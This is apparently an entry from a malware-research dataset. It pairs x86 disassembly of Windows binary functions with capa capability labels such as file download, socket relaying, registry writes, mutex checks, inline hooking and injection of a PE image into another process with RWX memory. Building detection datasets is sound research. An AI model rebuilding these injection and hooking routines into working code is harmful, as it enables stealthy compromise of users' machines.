joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41aa5d
Capabilities:
Read data from internet
Receive data

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov ebp, edx
mov dword [esp + 0x14], ecx
mov eax, 0xa00000
test edi, edi
je 0x41aa7a
cmp edi, eax
jbe 0x41aa7c
mov edi, eax
xor ebx, ebx
xor esi, esi
mov dword [esp + 0x10], esi
cmp dword [esp + 0x20], 0
je 0x41aa9e
push 0
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x41aae7
lea edx, [ebx + 0x1000]
mov dword [esp + 0x1c], 0x1000
lea ecx, [esp + 0x10]
call fcn.00418586
mov esi, dword [esp + 0x10]
test al, al
je 0x41aae7
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x20]
lea eax, [esi + ebx]
push eax
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x41aae7
cmp dword [esp + 0x1c], 0
je 0x41ab05
add ebx, dword [esp + 0x1c]
cmp ebx, edi
jbe 0x41aa84
test esi, esi
je 0x41aafa
push esi
push 0
push dword [0x42ac50]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 8
test ebp, ebp
je 0x41ab11
mov dword [ebp], esi
mov dword [ebp + 4], ebx
jmp 0x41ab24
test esi, esi
je 0x41ab24
push esi
push 0
push dword [0x42ac50]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
jmp 0x41aafc

Function at 0x41ab28
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x14], ecx
push ebx
push 0x80
push 2
push ebx
push 1
mov ebp, edx
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41abf9
push edi
mov ecx, 0x1000
call fcn.004185cd
mov edi, eax
test edi, edi
je 0x41abe6
mov dword [esp + 0x14], ebx
cmp dword [esp + 0x28], ebx
je 0x41ab85
push ebx
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x41abdf
lea eax, [esp + 0x10]
push eax
push 0x1000
push edi
push dword [esp + 0x24]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x41abdf
cmp dword [esp + 0x10], ebx
je 0x41abd6
push ebx
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41abdf
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0x1c]
jne 0x41abdf
mov ecx, dword [esp + 0x14]
add ecx, eax
mov dword [esp + 0x14], ecx
cmp ecx, dword [esp + 0x24]
jbe 0x41ab6d
jmp 0x41abdf
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov bl, 1
mov ecx, edi
call fcn.00418601
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
test bl, bl
jne 0x41abf9
mov ecx, ebp
call fcn.0041e322
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x10
ret 8
Function at 0x41b45a
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebp
push esi
mov ebp, edx
mov esi, ecx
mov dword [esp + 8], esi
test ebp, ebp
je 0x41b4e2
push ebx
push edi
mov edx, dword [esi + 0x34]
mov ecx, esi
call fcn.0041b29e
mov ebx, dword [esi + 0x30]
mov edi, dword [esi + 0x48]
movzx eax, byte [ebx + edi]
movzx ecx, byte [ebx + edi + 1]
shl eax, 5
xor ecx, eax
movzx eax, byte [ebx + edi + 2]
shl ecx, 5
xor ecx, eax
imul eax, ecx, 0x9f5f
shr eax, 5
movzx esi, ax
mov eax, dword [esp + 0x10]
mov edx, dword [eax + 0x4c]
mov ecx, dword [eax + 0x50]
mov eax, dword [edx + esi*4]
mov dword [ecx + ebx*4], eax
mov ecx, dword [esp + 0x10]
mov dword [edx + esi*4], ebx
mov eax, dword [ecx + 0x54]
mov dword [eax + ebx*4], 0x801
mov eax, dword [ecx + 0x58]
inc dword [eax + esi*4]
mov esi, dword [esp + 0x10]
movzx ecx, word [ebx + edi]
mov eax, dword [esi + 0x5c]
mov dword [eax + ecx*4], ebx
mov ecx, esi
call fcn.0041b3f1
sub ebp, 1
jne 0x41b46b
pop edi
pop ebx
pop esi
pop ebp
pop ecx
ret
Function at 0x41bd61
Capabilities:
Connect socket

Disassembly:
push esi
push edi
mov edi, ecx
push 6
push 1
movzx eax, word [edi]
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x41bd9e
cmp word [edi], 2
push 0x1c
pop ecx
push 0x10
pop eax
cmove ecx, eax
push ecx
push edi
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x41bd9e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
pop edi
mov eax, esi
pop esi
ret

Function at 0x41bda3
Capabilities:
Resolve dns

Disassembly:
push ecx
push ebx
push ebp
mov ah, dl
push edi
mov al, dh
xor edi, edi
movzx ebp, ax
mov ebx, edi
lea eax, [esp + 0xc]
push eax
push edi
push edi
push ecx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x41bdc9
or eax, 0xffffffff
jmp 0x41be47
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41be05
cmp dword [esi + 4], 2
jne 0x41bde7
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0x18]
call fcn.00418653
mov edi, eax
jmp 0x41bdfa
cmp dword [esi + 4], 0x17
jne 0x41bdfa
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0x18]
call fcn.00418653
mov ebx, eax
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x41bdd2
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
or esi, 0xffffffff
test edi, edi
je 0x41be20
mov ecx, edi
mov word [edi + 2], bp
call fcn.0041bd61
mov esi, eax
test ebx, ebx
je 0x41be36
cmp esi, 0xffffffff
jne 0x41be36
mov ecx, ebx
mov word [ebx + 2], bp
call fcn.0041bd61
mov esi, eax
mov ecx, edi
call fcn.00418601
mov ecx, ebx
call fcn.00418601
mov eax, esi
pop esi
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41bf5d
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x508
push ebx
push ebp
push edi
xor ebp, ebp
mov dword [esp + 0x10], 2
push ebp
push ebp
push ebp
lea eax, [esp + 0x1c]
mov ebx, edx
push eax
mov edi, ecx
mov dword [esp + 0x28], ebx
push ebp
mov dword [esp + 0x28], edi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jl 0x41c00c
push esi
cmp dword [esp + 0x14], 0
mov esi, ebp
jbe 0x41bfe7
mov eax, dword [esp + esi*4 + 0x18]
lea ecx, [esp + 0x118]
push ebp
push 0x400
push ecx
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.WS2_32.dll_recv]
mov ebp, eax
cmp ebp, 1
jl 0x41c00b
cmp dword [esp + 0x10], edi
lea eax, [esp + 0x118]
push 0
push ebp
mov ecx, edi
push eax
cmove ecx, ebx
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, ebp
jne 0x41c00b
inc esi
push 0
pop ebp
cmp esi, dword [esp + 0x14]
jb 0x41bf9a
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 2
push eax
push ebp
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jge 0x41bf91
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x508
ret
Function at 0x41c016
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
push ebx
push esi
mov esi, dword [esp + 0x120]
mov ebx, ecx
push edi
mov edi, dword [esp + 0x11c]
lea ecx, [esi + 1]
cmp ecx, 0x40
jae 0x41c0ae
test edi, edi
je 0x41c056
push ebp
xor edx, edx
mov ebp, 0x3e8
mov eax, edi
div ebp
pop ebp
mov dword [esp + 0xc], eax
imul eax, edx, 0x3e8
mov dword [esp + 0x10], eax
push 4
push ebx
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], ecx
push eax
call fcn.0041863c
test esi, esi
je 0x41c082
mov eax, esi
shl eax, 2
push eax
push dword [esp + 0x124]
lea eax, [esp + 0x24]
push eax
call fcn.0041863c
xor eax, eax
lea ecx, [esp + 0xc]
cmp eax, edi
sbb eax, eax
xor esi, esi
and eax, ecx
push eax
push esi
push esi
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jne 0x41c0bd
push 0x274c
call dword [sym.imp.WS2_32.dll_WSASetLastError]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0x10c
ret 0xc
cmp eax, 0xffffffff
je 0x41c0ae
mov ecx, dword [ebx + esi*4]
lea edx, [esp + 0x14]
call fcn.0041bc4b
test al, al
jne 0x41c0da
inc esi
cmp esi, 1
jb 0x41c0c2
jmp 0x41c0ae
mov eax, ecx
jmp 0x41c0b1

Function at 0x41c187
Capabilities:
Create udp socket

Disassembly:
push ebx
push esi
push edi
push 0x11
push 2
mov edi, ecx
pop ebx
push ebx
movzx eax, word [edi]
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x41c1c6
cmp word [edi], bx
push 0x1c
pop ecx
push 0x10
pop eax
cmove ecx, eax
push ecx
push edi
push esi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x41c1c6
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x41c489
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edx
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x41c4b5
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x41c4b9
cmp eax, 0x80
je 0x41c4b9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret
mov eax, esi
pop esi
ret

Function at 0x41c52c
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edx
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x41c553
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41c553
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov eax, esi
pop esi
ret
Function at 0x41cb3c
Capabilities:
Get common file path

Disassembly:
push ebx
push edi
mov ebx, ecx
xor edi, edi
call fcn.0041ca56
test al, al
je 0x41cc29
push esi
mov ecx, 0x950
call fcn.004185cd
mov esi, eax
test esi, esi
je 0x41cc23
push edi
push ebx
lea eax, [esi + 0x53e]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x41cc1c
lea eax, [esi + 0x746]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x41cc1c
mov eax, accept
lea edx, [esi + 0x10]
mov dword [edx], eax
mov dword [esi + 0x14], eax
xor eax, eax
inc eax
push 0xc
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
lea eax, [esi + 0x132]
push 0x406924
push eax
call fcn.0041863c
push 2
push 0x406910
lea eax, [esi + 0x232]
push eax
call fcn.0041863c
push esi
push edx
push 0x41c94d
push 0x41c917
push 0x41c8c6
push fcn.0041c89d
push 0x41c853
push 0x41c81a
push fcn.0041c7e6
push fcn.0041c654
push fcn.0041c641
lea eax, [esi + 4]
push 0x41c9c3
push eax
call dword [0x42a074]
add esp, 0x34
mov dword [esi], eax
test eax, eax
je 0x41cc1c
mov edi, esi
jmp 0x41cc28
mov ecx, esi
call fcn.00418601
call fcn.0041cb1a
pop esi
mov eax, edi
pop edi
pop ebx
ret 4

Function at 0x41ce3d
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
cmp byte [esi], 0x40
jb 0x41ce54
push 0x9b
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x41ce80
cmp dword [esp + 8], 0
je 0x41ce7e
xor eax, eax
push eax
push eax
push dword [esp + 0x14]
push dword [esp + 0x14]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
test ecx, ecx
je 0x41ce50
movzx eax, byte [esi]
mov dword [esi + eax*4 + 4], ecx
inc byte [esi]
mov al, 1
pop esi
ret 0x10

Function at 0x41cea9
Capabilities:
Query environment variable

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
lea eax, [ebp*2]
push eax
push esi
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x1c]
call fcn.0041cf7a
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41cf40
test bl, 1
jne 0x41cf40
cmp dword [esp + 0x18], 1
je 0x41cee5
cmp dword [esp + 0x18], 2
jne 0x41cf40
test ebx, ebx
jne 0x41cef0
xor eax, eax
mov word [esi], ax
jmp 0x41cf3c
shr eax, 1
lea ebx, [eax - 1]
cmp word [esi + ebx*2], 0
je 0x41cf08
mov ebx, eax
cmp ebp, ebx
jbe 0x41cf40
xor eax, eax
mov word [esi + ebx*2], ax
cmp ebx, 2
jbe 0x41cf3c
cmp dword [esp + 0x18], 2
jne 0x41cf3c
push edi
mov edx, ebx
mov ecx, esi
call fcn.004189e5
mov edi, eax
test edi, edi
je 0x41cf31
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x41cf34
or ebx, 0xffffffff
mov ecx, edi
call fcn.00418601
pop edi
mov eax, ebx
jmp 0x41cf43
or eax, 0xffffffff
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x41cf7a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
mov dword [ebp - 4], ecx
push eax
push 1
push 0
push edx
push ecx
or esi, 0xffffffff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41cfc0
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
test eax, eax
cmove esi, dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 0x10

Function at 0x41cfc7
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push ebx
push eax
push ebx
push 2
push ebx
push ebx
push ebx
mov ecx, reloc.WS2_32.dll_accept
push edx
push ecx
mov dword [ebp - 4], ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41d015
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
mov al, bl
pop ebx
leave
ret 0x10

Function at 0x41d01c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push edi
push eax
push 1
xor edi, edi
mov dword [ebp - 4], ecx
push edi
push edx
push ecx
or esi, 0xffffffff
mov dword [ebx], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41d0a9
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], edi
push eax
push edi
push dword [ebp + 0xc]
push edi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41d0a0
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jne 0x41d06a
mov esi, edi
jmp 0x41d0a0
add ecx, 4
call fcn.004185cd
mov edi, eax
test edi, edi
je 0x41d0a0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41d099
mov esi, dword [ebp + 0x10]
mov dword [ebx], edi
jmp 0x41d0a0
mov ecx, edi
call fcn.00418601
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41d0b2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 1
push ebx
mov ecx, reloc.WS2_32.dll_accept
push edx
push ecx
mov dword [ebp - 4], ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41d0f4
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
neg eax
sbb al, al
lea ebx, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret 4
Function at 0x41d0fb
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
mov ebx, edx
mov dword [esp + 0x18], ecx
movzx edx, byte [esp + 0x30]
movzx ecx, byte [esp + 0x2c]
push edi
call fcn.00419bd3
mov esi, eax
call fcn.00419bb4
mov edi, 0x4070c0
mov ebp, 0x40713c
test eax, 0x100
je 0x41d139
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ebp
jmp 0x41d141
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], edi
mov edx, dword [esp + 0x1c]
xor ecx, ecx
and dword [esp + 0x14], 0
xor eax, eax
and edx, 4
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x10], edx
test esi, esi
je 0x41d213
mov dword [esp + 0x20], 0x101
cmp ecx, 2
jne 0x41d19e
call fcn.00419bb4
test eax, 0x100
je 0x41d188
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ebp
jmp 0x41d190
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], edi
mov eax, dword [esp + 0x34]
xor ecx, ecx
mov edx, dword [esp + 0x10]
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + ecx*4 + 0x24]
mov dword [esp + 0x18], ecx
test edx, edx
je 0x41d1d3
sub eax, dword [esp + 0x14]
cmp eax, 1
jbe 0x41d1d3
call fcn.00419bb4
and eax, dword [esp + 0x20]
cmp eax, dword [esp + 0x20]
jne 0x41d1cf
mov eax, dword [esp + 0x34]
push 0x20
mov dword [esp + 0x18], eax
pop ecx
jmp 0x41d1f5
mov ecx, dword [esp + 0x18]
push 5
pop edx
push 0x12
cmp ecx, edi
pop eax
cmove edx, eax
xor ecx, ecx
call fcn.00419bd3
mov ecx, dword [esp + 0x18]
movsx ax, byte [eax + ecx]
movzx ecx, ax
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x10]
mov word [ebx + eax*2], cx
inc eax
mov ecx, dword [esp + 0x30]
inc ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
cmp eax, esi
jb 0x41d16d
test edx, edx
je 0x41d231
test esi, esi
je 0x41d231
lea eax, [ebx - 2]
push 0x20
lea eax, [eax + esi*2]
pop ecx
cmp word [eax], cx
jne 0x41d231
sub eax, 2
sub esi, 1
jne 0x41d224
xor eax, eax
test byte [esp + 0x1c], 2
mov word [ebx + esi*2], ax
je 0x41d24b
movzx eax, word [ebx]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
mov word [ebx], ax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 8

Function at 0x41d255
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
xor esi, esi
push dword [ebp + 0x14]
lea edx, [ebp - 0x208]
mov ecx, ebx
push 4
call fcn.0041d0fb
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
mov edx, edi
call fcn.0041e80a
test al, al
je 0x41d2b2
cmp dword [ebp + 0xc], 0
je 0x41d2a4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
test eax, eax
je 0x41d2b2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x41d2c1
inc esi
cmp esi, 0x64
jb 0x41d267
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0x10
mov al, 1
jmp 0x41d2ba
Function at 0x41d347
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2d0
lea eax, [ebp - 0x258]
push ebx
push esi
push eax
xor ebx, ebx
mov esi, ecx
push ebx
push ebx
push 0x24
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x41d39e
push 0x10
push ebx
push esi
call fcn.0041869b
pop esi
mov al, bl
pop ebx
add ebp, 0x78
leave
ret
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
je 0x41d36e
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push 0x64
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
test eax, eax
je 0x41d380
cmp word [ebp - 0x3c], 0x7b
jne 0x41d36e
xor eax, eax
mov word [ebp + 0x10], ax
lea eax, [ebp - 0x3c]
push esi
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jne 0x41d36e
mov bl, 1
jmp 0x41d377

Function at 0x41d3e2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x118
push esi
push edi
push 0x10
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.0041863c
xor dword [esp + 8], edx
xor esi, esi
xor word [esp + 0xc], dx
shr edx, 0x10
xor word [esp + 0xe], dx
xor edx, edx
mov al, byte [ebp + esi + 8]
xor ecx, ecx
xor byte [esp + edx + 0x10], al
inc edx
cmp esi, 3
lea eax, [esi + 1]
cmovne ecx, eax
mov esi, ecx
cmp edx, 8
jb 0x41d412
cmp dword [ebp + 0x10], 0
je 0x41d452
push 0x102
push dword [ebp + 0x10]
lea eax, [esp + 0x20]
push eax
call fcn.0041863c
push eax
push 0x10
pop edx
lea ecx, [esp + 0xc]
call fcn.00419cee
movzx eax, byte [ebp + 0x14]
sub eax, 0
je 0x41d486
sub eax, 1
je 0x41d46e
sub eax, 1
jne 0x41d486
mov edx, 0x406964
push 7
jmp 0x41d475
mov edx, 0x406974
push 6
mov esi, dword [ebp + 0xc]
mov ecx, esi
pop edi
push edi
call fcn.004189ba
lea eax, [esi + edi*2]
jmp 0x41d489
mov eax, dword [ebp + 0xc]
push 0x28
push eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41d5d1
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x28
push esi
push edi
mov esi, edx
xor edi, edi
call fcn.0041d58d
cmp eax, 0x1e
jb 0x41d6c7
lea eax, [esp + 8]
push eax
push 0x40
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x41d6c7
push 0x23
push 0xffffffffffffff90
lea eax, [esp + 0x14]
push eax
call fcn.0041869b
push edi
push 0x1e
lea eax, [esp + 0x14]
push eax
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x41d6b3
push ebx
push ebp
lea ebp, [esp + 0x14]
mov ebx, edi
push edi
mov eax, ebp
push eax
jmp 0x41d68a
mov ecx, ebx
add ebx, eax
cmp ebx, 0x1e
ja 0x41d72e
mov cl, byte [ebp]
cmp cl, 0xe9
je 0x41d651
cmp cl, 0xe8
jne 0x41d67d
cmp eax, 5
jne 0x41d67d
movzx eax, cl
push eax
push 0x406ac8
push edi
push 0x5f
push 0x4069f0
push 0x406a3c
call fcn.0041a5ac
mov eax, esi
add esp, 0x18
sub eax, dword [esp + 0x40]
add dword [ebp + 1], eax
lea ebp, [esp + 0x14]
add ebp, ebx
push edi
cmp ebx, 5
jae 0x41d6d1
push ebp
call fcn.004265f0
cmp eax, 0xffffffff
jne 0x41d637
push esi
push ebx
push 0x406988
push 2
push 0x4a
push 0x4069f0
push 0x406a3c
call fcn.0041a5ac
add esp, 0x1c
pop ebp
pop ebx
lea eax, [esp + 8]
push eax
push dword [esp + 0xc]
push 0x1e
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, edi
pop edi
pop esi
add esp, 0x28
ret 0xc
mov eax, esi
mov byte [ebp], 0xe9
sub eax, dword [esp + 0x44]
add ebx, 5
sub eax, 5
mov dword [ebp + 1], eax
lea eax, [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push eax
push dword [esp + 0x4c]
push 0xffffffffffffffff
call ebp
test eax, eax
je 0x41d6b1
mov eax, dword [esp + 0x3c]
mov ecx, esi
mov edx, dword [esp + 0x40]
sub eax, esi
sub eax, 5
mov byte [esp + 0x14], 0xe9
mov dword [esp + 0x15], eax
call fcn.00415444
push edi
push 5
lea eax, [esp + 0x1c]
push eax
push esi
push 0xffffffffffffffff
call ebp
test eax, eax
je 0x41d6b1
mov edi, ebx
jmp 0x41d6b1
push esi
push ecx
push 0x406a50
push 2
push 0x55
jmp 0x41d69f
Function at 0x41d768
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x18
push ebx
push ebp
mov ebx, edx
mov byte [esp + 0xb], 0
push esi
push edi
mov esi, ecx
mov edi, dword [ebx + 0x3c]
add edi, ebx
mov dword [esp + 0x14], esi
mov ebp, dword [edi + 0x50]
push ebp
push ebx
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x41d79b
xor eax, eax
jmp 0x41d894
push 0x40
push 0x3000
push ebp
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [esp + 0x20], esi
test esi, esi
je 0x41d892
mov edx, ebp
mov ecx, ebx
call fcn.00418653
mov ebp, eax
test ebp, ebp
je 0x41d87d
cmp dword [edi + 0xa4], 0
jbe 0x41d869
mov eax, dword [edi + 0xa0]
test eax, eax
je 0x41d869
sub ebx, dword [edi + 0x34]
mov ecx, esi
sub ecx, dword [edi + 0x34]
mov dword [esp + 0x18], ecx
lea ecx, [eax + ebp]
cmp dword [ecx], 0
je 0x41d84d
mov esi, dword [esp + 0x18]
lea eax, [ecx + 4]
mov dword [esp + 0x1c], eax
mov eax, dword [eax]
cmp eax, 8
jb 0x41d83e
add eax, 0xfffffff8
shr eax, 1
push 0
mov dword [esp + 0x1c], eax
pop edi
je 0x41d83e
movzx edx, word [ecx + edi*2 + 8]
test dx, dx
je 0x41d839
and edx, 0xfff
mov eax, esi
add edx, dword [ecx]
sub eax, ebx
add dword [edx + ebp], eax
mov eax, dword [esp + 0x18]
inc edi
cmp edi, eax
jb 0x41d81c
mov eax, dword [esp + 0x1c]
add ecx, dword [eax]
cmp dword [ecx], 0
jne 0x41d800
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x14]
push 0
push dword [esp + 0x28]
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne byte [esp + 0x13]
jmp 0x41d86d
mov edi, dword [esp + 0x14]
mov ecx, ebp
call fcn.00418601
cmp byte [esp + 0x13], 0
jne 0x41d892
jmp 0x41d881
mov edi, dword [esp + 0x14]
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor esi, esi
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret